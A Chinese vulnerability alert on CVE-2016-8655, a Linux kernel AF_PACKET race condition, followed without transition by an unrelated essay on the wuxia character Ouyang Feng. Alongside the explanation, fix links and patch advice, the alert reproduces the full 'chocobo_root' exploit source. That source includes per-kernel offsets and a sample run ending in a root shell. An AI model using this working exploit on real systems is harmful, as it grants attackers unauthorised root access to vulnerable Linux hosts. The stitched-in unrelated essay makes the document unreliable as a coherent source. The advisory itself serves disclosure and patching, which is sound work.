【漏洞预警】CVE-2016-8655:Linux内核竞争条件漏洞,可致本地提权 (附PoC)

Seclists.org最新披露了Linux的竞争条件漏洞,漏洞编号为CVE-2016-8655。此漏洞可用于从低权限进程中执行内核代码。

漏洞编号

CVE-2016-8655

漏洞概述

Philip Pettersson在Linux (net/packet/af_packet.c)发现条件竞争漏洞,此漏洞可用于从未授权进程中执行内核代码。攻击者只需要本地低权限,就能利用该漏洞致拒绝服务(系统崩溃)或者以管理员权限执行任意代码

packet_set_ring在创建ring buffer的时候,如果packet版本为TPACKET_V3,则会初始化struct timer_list。在packet_set_ring完成之前,其他线程可调用setsockopt将packet版本设定为TPACKET_V1。此时先前初始化的timer不会被删除,也就形成了套接字关闭时struct timer_list中函数指针的user after free漏洞。

这个BUG最早出现于2011年4月19号的代码中,详细参考:

https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a

该BUG已经于2016年11月30号被修复,详细参考:

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c

漏洞细节

要创建AF-PACKET套接字,在网络命名空间中就需要CAP_NET_RAW。在低权限命名空间可用的系统中(Ubuntu、Fedora等),这可以通过未授权进程获取。这个漏洞在容器中即可触发,最终攻陷主机内核。在Android系统中,带gid=3004/AID_NET_RAW的进程可创建AF_PACKET套接字,并触发该BUG。

问题主要出在packet_set_ring()和packet_setsockopt()中。使用PACKET_RX_RING选项在socket中调用setsockopt(),就能搞定packet_set_ring()。

如果packet套接字版本为TPCKET_V3,调用init_prb_bdqc()的时候,packet_set_ring()就会对timer_list对象进行初始化。

...

                switch (po->tp_version) {

                case TPACKET_V3:

                /* Transmit path is not supported. We checked

                 * it above but just being paranoid

                 */

                        if (!tx_ring)

                                init_prb_bdqc(po, rb, pg_vec, req_u);

                        break;

                default:

                        break;

                }

...

创建timer的函数流为:

packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->

prb_init_blk_timer()->prb_init_blk_timer()->init_timer()

该套接字关闭时,packet_set_ring()会再度被调用,来释放ring buffer,并删除先前初始化的timer(当packet版本大于TPACKET_V2时):

...

        if (closing && (po->tp_version > TPACKET_V2)) {

                /* Because we don't support block-based V3 on tx-ring */

                if (!tx_ring)

                        prb_shutdown_retire_blk_timer(po, rb_queue);

        }

...

此处的问题就出在,在init_prb_bdqc()执行之后,packet_set_ring()返回之前,我们可以将packet版本改为TPACKET_V1。

不过ring buffer被初始化之后,会存在拒绝修改套接字版本的情况,但这也根本不是什么问题:

...

        case PACKET_VERSION:

        {

...

                if (po->rx_ring.pg_vec || po->tx_ring.pg_vec)

                        return -EBUSY;

...

在init_prb_bdqc()和packet_set_ring()的交换(rb->pg_vec, pg_vec)调用之间,还是有足够的空间来搞定这条代码路径。

此时,套接字关闭时,由于套接字版本已经为TPACKET_V1,packet_set_ring()就不会删除timer。描绘timer对象的struct timer_list位于struct packet_sock中,调用kfree()就会释放。

随后timer对象之上就形成了use after free漏洞,可被各种针对SLAB分配器的攻击利用。最终timer过期后,就可导致内核跳转至构建的函数指针。

在packet_setsockopt()中用lock_sock(sk),同时在packet_set_ring()起始就锁定packet版本即可解决问题。

新版Ubuntu内核已经放出,用户升级至新版Ubuntu即可解决问题。

漏洞PoC

按照发现该漏洞的作者Philip Pettersson所说,漏洞PoC会在明天放出…

PoC地址:https://www.exploit-db.com/exploits/40871/

/* chocobo_root.c linux AF_PACKET race condition exploit exploit for Ubuntu 16.04 x86_64  vroom vroom *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= user@ubuntu:~$ uname -a Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread user@ubuntu:~$ ./chocobo_root linux AF_PACKET race condition exploit by rebel kernel version: 4.4.0-51-generic #72 proc_dostring = 0xffffffff81088090 modprobe_path = 0xffffffff81e48f80 register_sysctl_table = 0xffffffff812879a0 set_memory_rw = 0xffffffff8106f320 exploit starting making vsyscall page writable..  new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered!   stage 1 completed registering new sysctl..  new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 race not won  retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd->
hdr.bh1.offset_to_first_pkt = 48 *=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added!  stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user)  *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=  There are offsets included for older kernels, but they're untested so be aware that this exploit will probably crash kernels older than 4.4.  tested on: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu  Shoutouts to: jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery for delivering hotcakes and coffee  11/2016 by rebel */  #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <sys/wait.h> #include <assert.h> #include <errno.h> #include <fcntl.h> #include <poll.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/if_ether.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/stat.h> #include <linux/if_packet.h> #include <pthread.h> #include <linux/sched.h> #include <netinet/tcp.h> #include <sys/syscall.h> #include <signal.h> #include <sched.h> #include <sys/utsname.h>  volatile int barrier = 1; volatile int vers_switcher_done = 0;  struct offset {     char *kernel_version;     unsigned long proc_dostring;     unsigned long modprobe_path;     unsigned long register_sysctl_table;     unsigned long set_memory_rw; };   struct offset *off = NULL;  //99% of these offsets haven't actually been tested     struct offset offsets[] = {     {"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880},     {"4.4.0-47-generic #68~14.04.1",0,0,0,0},     {"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680},     {"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0},     {"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0},     {"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620},     {"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110},     {"4.2.0-17-generic #21",0,0,0,0},     {"4.2.0-18-generic #22",0,0,0,0},     {"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750},     {"4.2.0-21-generic #25~14.04.1",0,0,0,0},     {"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20},     {"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60},     {"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680},     {"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370},     {"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760},     {"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370},     {"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100},     {"4.2.0-23-generic #28",0,0,0,0},     {"4.2.0-25-generic #30",0,0,0,0},     {"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360},     {"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680},     {"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370},     {"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0},     {"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680},     {"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320},     {"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00},     {"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880},     {"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750},     {"4.2.0-25-generic #30~14.04.1",0,0,0,0},     {"4.2.0-23-generic #28~14.04.1",0,0,0,0},     {"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320},     {"4.4.0-47-generic #68",0,0,0,0},     {"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880},     {"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890},     {"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880},     {"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0},     {"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680},     {"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880},     {"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370},     {"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90},     {"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370},     {"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0},     {"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0},     {"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0},     {"4.8.0-26-generic #28",0,0,0,0},     {"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360},     {"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880},     {"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890},     {"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320},     {"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880},     {"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100},     {"4.2.0-19-generic #23",0,0,0,0},     {"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0},     {"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320},     {"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370},     {"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880},     {"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390},     {"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0},     {"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20},     {"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffff
ffff81274150,0xffffffff8106b620},     {"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320},     {"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320}, //{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0},     {NULL,0,0,0,0} };  #define VSYSCALL 0xffffffffff600000  #define PAD 64  int pad_fds[PAD];  struct ctl_table {     const char *procname;     void *data;     int maxlen;     unsigned short mode;     struct ctl_table *child;     void *proc_handler;     void *poll;     void *extra1;     void *extra2; };  #define CONF_RING_FRAMES 1  struct tpacket_req3 tp; int sfd; int mapped = 0;  struct timer_list {     void *next;     void *prev;     unsigned long           expires;     void                    (*function)(unsigned long);     unsigned long           data;     unsigned int                     flags;     int                     slack; };  void *setsockopt_thread(void *arg) {     while(barrier) {     }     setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));      return NULL; }  void *vers_switcher(void *arg) {     int val,x,y;      while(barrier) {}      while(1) {         val = TPACKET_V1;         x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));          y++;          if(x != 0) break;          val = TPACKET_V3;         x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));          if(x != 0) break;          y++;     }      fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)/n",x,y,val);     vers_switcher_done = 1;       return NULL; }  #define BUFSIZE 1408 char exploitbuf[BUFSIZE];  void kmalloc(void) {     while(1)         syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2); }   void pad_kmalloc(void) {     int x;      for(x=0; x<PAD; x++)         if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) {             fprintf(stderr,"pad_kmalloc() socket error/n");             exit(1);         }  }  int try_exploit(unsigned long func, unsigned long arg, void *verification_func) {     pthread_t setsockopt_thread_thread,a;     int val;     socklen_t l;     struct timer_list *timer;     int fd;     struct tpacket_block_desc *pbd;     int off;     sigset_t set;      sigemptyset(&set);      sigaddset(&set, SIGSEGV);      if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {         fprintf(stderr,"couldn't set sigmask/n");         exit(1);     }      fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p/n",(void *)func,(void *)arg);      pad_kmalloc();      fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP));      if (fd==-1) {         printf("target socket error/n");         exit(1);     }      pad_kmalloc();      fprintf(stderr,"sockets allocated/n");      val = TPACKET_V3;      setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));      tp.tp_block_size = CONF_RING_FRAMES * getpagesize();     tp.tp_block_nr = 1;     tp.tp_frame_size = getpagesize();     tp.tp_frame_nr = CONF_RING_FRAMES;  //try to set the timeout to 10 seconds //the default timeout might still be used though depending on when the race was won     tp.tp_retire_blk_tov = 10000;      sfd = fd;      if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {         fprintf(stderr, "Error creating thread/n");         return 1;     }       pthread_create(&a, NULL, vers_switcher, (void *)NULL);      usleep(200000);      fprintf(stderr,"removing barrier and spraying../n");      memset(exploitbuf,'/x00',BUFSIZE);      timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);     timer->next = 0;     timer->prev = 0;      timer->expires = 4294943360;     timer->function = (void *)func;     timer->data = arg;     timer->flags = 1;     timer->slack = -1;       barrier = 0;      usleep(100000);      while(!vers_switcher_done)usleep(100000);      l = sizeof(val);     getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);      fprintf(stderr,"current packet version = %d/n",val);      pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);       if(pbd == MAP_FAILED) {         fprintf(stderr,"could not map pbd/n");         exit(1);     }      else {         off = pbd->hdr.bh1.offset_to_first_pkt;         fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d/n",off);     }       if(val == TPACKET_V1 && off != 0) {         fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*/n");     }      else {         fprintf(stderr,"race not won/n");         exit(2);     }      munmap(pbd, tp.tp_block_size * tp.tp_block_nr);      pthread_create(&a, NULL, verification_func, (void *)NULL);      fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that./n");     sleep(1);     fprintf(stderr,"closing socket and verifying..");      close(sfd);      kmalloc();      fprintf(stderr,"all messages sent/n");      sleep(31337);     exit(1); }   int verification_result = 0;  void catch_sigsegv(int sig) {     verification_result = 0;     pthread_exit((void *)1); }   void *modify_vsyscall(void *arg) {     unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);     unsigned long x = (unsigned long)arg;      sigset_t set;     sigemptyset(&set);     sigaddset(&set, SIGSEGV);      if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {         fprintf(stderr,"couldn't set sigmask/n");         exit(1);     }      signal(SIGSEGV, catch_sigsegv);      *vsyscall = 0xdeadbeef+x;      if(*vsyscall == 0xdeadbeef+x) {         fprintf(stderr,"/nvsyscall page altered!/n");         verification_result = 1;         pthread_exit(0);     }      return NULL; }  void verify_stage1(void) {     int x;     pthread_t v_thread;      sleep(5);      for(x=0; x<300; x++) {          pthread_create(&v_thread, NULL, modify_vsyscall, 0);          pthread_join(v_thread, NULL);          if(verification_result == 1) {             exit(0);         }          write(2,".",1);         sleep(1);     }      printf("could not modify vsyscall/n");      exit(1); }  void verify_stage2(void) {     int x;     struct stat b;      sleep(5);      for(x=0; x<300; x++) {          if(stat("/proc/sys/hack",&b) == 0) {             fprintf(stderr,"/nsysctl added!/n");             exit(0);         }          write(2,".",1);         sleep(1);     }      printf("could not add sysctl/n");     exit(1);   }  void exploit(unsigned long func, unsigned long arg, void *verification_func) {     int status;     int pid;  retry:      pid = fork();      if(pid == 0) {         try_exploit(func, arg, verification_func);         exit(1);     }      wait(&status);      printf("/n");      if(WEXITSTATUS(status) == 2) {         printf("retrying stage../n");         kill(pid, 9);         sleep(2);         goto retry;     }      else if(WEXITSTATUS(status) != 0) {         printf("something bad happened, aborting exploit attempt/n");         exit(-1);     }        kill(pid, 9); }   void wrapper(void) {     struct ctl_table *c;      fprintf(stderr,"exploit starting/n");     printf("making vsyscall page writable../n/n");      exploit(off->set_memory_rw, VSYSCALL, verify_stage1);      printf("/nstage 1 completed/n");      sleep(5);      printf("registering new sysctl../n/n");      c = (struct ctl_table *)(VSYSCALL+0x850);      memset((char *)(VSYSCALL+0x850), '/x00', 1952);      strcpy((char *)(VSYSCALL+0xf00),"hack");     memcpy((char *)(VSYSCALL+0xe00),"/x01/x00/x00/x00",4);     c->procname = (char *)(VSYSCALL+0xf00);     c->mode = 0666;     c->proc_handler = (void *)(off->proc_dostring);     c->data = (void *)(off->modprobe_path);     c->maxlen=256;     c->extra1 = (void *)(VSYSCALL+0xe00);     c->extra2 = (void *)(VSYSCALL+0xd00);      exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2);      printf("stage 2 completed/n"); }  void launch_rootshell(void) {     int fd;     char buf[256];
   struct stat s;       fd = open("/proc/sys/hack",O_WRONLY);      if(fd == -1) {         fprintf(stderr,"could not open /proc/sys/hack/n");         exit(-1);     }      memset(buf,'/x00', 256);      readlink("/proc/self/exe",(char *)&buf,256);      write(fd,buf,strlen(buf)+1);      socket(AF_INET,SOCK_STREAM,132);      if(stat(buf,&s) == 0 && s.st_uid == 0) {         printf("binary executed by kernel, launching rootshell/n");         lseek(fd, 0, SEEK_SET);         write(fd,"/sbin/modprobe",15);         close(fd);         execl(buf,buf,NULL);     }      else         printf("could not create rootshell/n");   }  int main(int argc, char **argv) {     int status, pid;     struct utsname u;     int i, crash = 0;     char buf[512], *f;       if(argc == 2 && !strcmp(argv[1],"crash")) {         crash = 1;     }       if(getuid() == 0 && geteuid() == 0 && !crash) {         chown("/proc/self/exe",0,0);         chmod("/proc/self/exe",06755);         exit(-1);     }      else if(getuid() != 0 && geteuid() == 0 && !crash) {         setresuid(0,0,0);         setresgid(0,0,0);         execl("/bin/bash","bash","-p",NULL);         exit(0);     }      fprintf(stderr,"linux AF_PACKET race condition exploit by rebel/n");      uname(&u);      if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '/0';      snprintf(buf,512,"%s %s",u.release,u.version);      printf("kernel version: %s/n",buf);       for(i=0; offsets[i].kernel_version != NULL; i++) {         if(!strcmp(offsets[i].kernel_version,buf)) {              while(offsets[i].proc_dostring == 0)                 i--;              off = &offsets[i];             break;         }     }      if(crash) {         off = &offsets[0];         off->set_memory_rw = 0xffffffff41414141;     }      if(off) {         printf("proc_dostring = %p/n",(void *)off->proc_dostring);         printf("modprobe_path = %p/n",(void *)off->modprobe_path);         printf("register_sysctl_table = %p/n",(void *)off->register_sysctl_table);         printf("set_memory_rw = %p/n",(void *)off->set_memory_rw);     }      if(!off) {         fprintf(stderr,"i have no offsets for this kernel version../n");         exit(-1);     }      pid = fork();      if(pid == 0) {         if(unshare(CLONE_NEWUSER) != 0)             fprintf(stderr, "failed to create new user namespace/n");          if(unshare(CLONE_NEWNET) != 0)             fprintf(stderr, "failed to create new network namespace/n");          wrapper();         exit(0);     }      waitpid(pid, &status, 0);      launch_rootshell();     return 0; }

修复方法

如上所述,各Linux发行版需要升级至最新版Linux内核。针对Ubuntu 16.04 LTS的安全更新已经发布。另外这篇文章讲解了在不重启服务器的情况下,就对Ubuntu Linux内核打上补丁的方案。

相关链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8655

https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c

https://www.ubuntu.com/usn/usn-3151-1/

* 参考来源:Seclists.org,转载请注明来自1024rd.COM

欧阳锋的嫂子,会不会是李莫愁与小龙女的师父?

欧阳锋在《射雕英雄传》中是重要人物,在《神雕侠侣》中分量要轻些,但也绝非可有可无之人。我们今天单说欧阳锋与女人的故事。

首先可以确认,欧阳锋绝非不近女色之人,甚至,他还颇为好色。证据有二:一是其子欧阳克广有姬妾(从西域到北京,欧阳克偕二十四名白衣姬妾同行,甚是扎眼),欧阳锋并不反对;二是去桃花岛求亲时,欧阳锋带了一堆美女要送给黄药师,书中是这么说的——

欧阳锋笑道:“这三十二名处女,是兄弟派人到各地采购来的,当作一点微礼,送给老友。……只是西域鄙女,论颜色是远远不及江南佳丽的了。”黄药师道:“兄弟素来不喜此道,自先室亡故,更视天下如粪土。锋兄厚礼,不敢拜领。”欧阳锋笑道:“聊作视听之娱,以遣永日,亦复何伤?”

黄蓉看那些女子都是肤色白析,身材高大,或金发碧眼,或高鼻深目,果然和中土女子大不相同。但容貌艳丽,姿态妖媚,亦自动人。

欧阳锋手掌击了三下,八名女子取出乐器,弹奏了起来,余下二十四人翻翻起舞。……这时众女舞得更加急了,媚态百出,变幻多端,跟着双手虚抚胸臀,作出宽衣解带、投怀送抱的诸般姿态。

通过这些描写看,欧阳锋不但四处物色美女,而且亲加调教——非好色之人,不会有这样的“雅兴”吧?

既然欧阳锋是个逐色之人,那他一生曾与哪些女人有瓜葛?

大家都熟悉的,是欧阳锋与其嫂有私情,欧阳克便是二人所生。可惜书中对此语焉不详,我们只知道,欧阳锋对这个独子颇为爱重,曾奔赴万里,放低身态向黄药师为其求婚;而欧阳锋后来之所以变得疯魔,虽因黄蓉的言语缠斗而起,但通过此后他定要杨过叫爸爸,而且对其舐犊情深看,欧阳克的死亡对欧阳锋的刺激是深重的。

由这些也可知,欧阳锋对欧阳克的母亲,亦即其嫂,定也是颇为爱重的。

除了其嫂,欧阳锋还与三个著名的女人有瓜葛。

第一个是瑛姑。

《射雕英雄传》中,一灯大师曾分析,因他不肯出手相帮疗伤,瑛姑与周伯通之子终于死于裘千仞之毒掌,瑛姑因此有一段奇遇——

“她当日离开大理,心怀怨愤,定然遍访江湖好手,意欲学艺以求报仇,由此而和欧阳锋相遇。那欧阳锋得悉了她的心意,想必代她筹划了这个方策,绘了这图(尸毗王割肉舍身救鸽故事)给她。”

关于欧阳锋与瑛姑的相逢与交往,书中也只写了这些。但仔细想来,以欧阳锋的为人,他虽欲借瑛姑之手耗费一灯功力以达到自己称雄武林的目的,但也未必便会轻易信任和帮助瑛姑,二人定是有一段过从甚密的交往。

当然,这并非说欧阳锋与瑛姑就一定有什么男女苟且之事,只是说二人的交往定也并非泛泛。

与欧阳锋有瓜葛的另两个女人是李莫愁及其师父。

《神雕侠侣》中,小龙女与杨过成婚时,曾说过这样一件事——

小龙女道:“师父深居古墓,极少出外,有一年师姐在外面闯了祸,逃回终南山来,师父出墓接应,竟中了敌人的暗算。师父虽然吃了亏,还是把师姐接了回来,也就算了,不再去和那恶人计较,岂知那恶人得寸进尺,隔不多久,便在墓外叫嚷挑战,后来更强攻入墓,师父抵挡不住,险些便要放断龙石与他同归于尽,幸得在危急之际发动机关,又突然发出金针。那恶人猝不及防,为金针所伤,麻痒难当,师父乘势点了他的穴道,制得他动弹不得,岂知师姐竟偷偷解了他的穴道。那恶人突起发难,师父才中了他的毒手。”

小龙女道:“孙婆婆说,打伤我师父的,一定是西毒欧阳锋。她说世上能伤得我师父的人寥寥无几,只有欧阳锋是出名的坏人。我师父至死都不肯说那恶人的名字。孙婆婆问她:‘是不是欧阳锋,是不是欧阳锋?’师父总是摇头,微笑了一下,便此断气了。”

杨过道:“我义父被师祖点了穴道,不是李莫愁解的,其实当时师祖没有点中!”小龙女道:“没有点中?不会的。师父的点穴手断高明得很。”杨过道:“我义父有一门天下独二的奇妙武功,全身经脉能够逆行。经脉一逆,所有穴道尽皆移位,点中了也变成点不中。”

通过上面的情节,可知欧阳锋与李莫愁及其师父是有一定瓜葛的。

先说欧阳锋与李莫愁。

这一老一少未必便有什么较深交往,因为李莫愁一生痴情于陆展元,于他人他事并无多少想法。她被欧阳锋追杀,可能只是其行走江湖、滥杀无辜时惹到了他。

再说欧阳锋与李莫愁小龙女的师父。

关于这位林朝英的弟子,书中一直语焉不详,颇为神秘。

有一种脑洞大开的说法是:李莫愁小龙女的师父是欧阳锋的旧相识,或者干脆就是曾与之私通的嫂子。理由有二:

一、欧阳锋追踪李莫愁却不下杀手,是从她身上某些方面(譬如武功)看到了其嫂的痕迹,于是一路追踪到古墓,为的便是与其嫂相见。在被拒绝后,欧阳锋便强攻古墓,终至为金针所伤。

二、李莫愁的师父虽为欧阳锋打伤,却始终不肯说出“那恶人的名字”,甚至在临死前还“微笑了一下”。这一细节很可疑,她至死不说欧阳锋之名,只怕不是为避免后代冤冤相报那么简单,想来,她不光认识欧阳锋,而且与其有难以言说的往事。

当然,说李莫愁师父便是欧阳锋嫂子,有个破绽是:《神雕侠侣》中显示,这女子十四五岁便在古墓中侍奉林朝英了,后来何以会出古墓而嫁到西域?

关于这一点,网上又有个说法是:林朝英为帮王重阳对付心腹大患欧阳锋,派女弟子卧底欧阳家,爱上欧阳锋,却嫁给其兄,以造成兄弟俩的裂痕,终至二人以死相拼,欧阳锋杀兄夺嫂,欧阳家的势力由此大损……

这一说法,不仅是脑洞大开,简直是匪夷所思,转述来与大家交流。

以上便是欧阳锋与生命中几个女人的故事。简单总结一下就是:

一、欧阳锋与瑛姑有共同的敌人一灯大师,于是二人曾在某个时间段结为利益共同体,过从甚密;

二、欧阳锋与其嫂有私情,但书中关于此事及此女人并无正面描述;

三、欧阳锋的嫂子很可能便是林朝英的传人、李莫愁小龙女的师父,欧阳锋通过追踪李莫愁寻找到她,二人却没能重新回到过去……

